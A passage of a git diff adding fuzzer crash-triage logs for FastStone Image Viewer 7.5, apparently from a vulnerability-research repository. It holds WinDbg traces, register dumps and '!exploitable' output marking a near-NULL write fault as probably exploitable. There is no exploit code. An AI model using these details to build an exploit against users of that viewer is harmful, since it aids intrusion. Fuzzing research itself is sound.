+STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..e0eca22 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3306/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1dd1aed Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..7b6f195 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBCC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBCC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bcc.e88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=07c90fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.52078e-026 -6.59487e-039 1.85023e-016 8.29751e-032 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028a000 d32fab83 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..7b6f195 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0xBCC: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0xBCC: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74bd0000 00000000`74bf2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74ba0000 00000000`74bc8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(bcc.e88): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=40000000 ecx=07e67b19 edx=00000000 esi=00000000 edi=07c90fd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 nv up ei pl nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210216 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.721343803397653600000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 6.250000000000000000000e-0002 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-1.52078e-026 -6.59487e-039 1.85023e-016 8.29751e-032 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07f48130 07ec5930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 0028a000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 0028a000 d32fab83 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62c2 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 0028a000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..1dd1aed Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/33773/action_1_Output_Unknown Action 1.txt differ diff --git 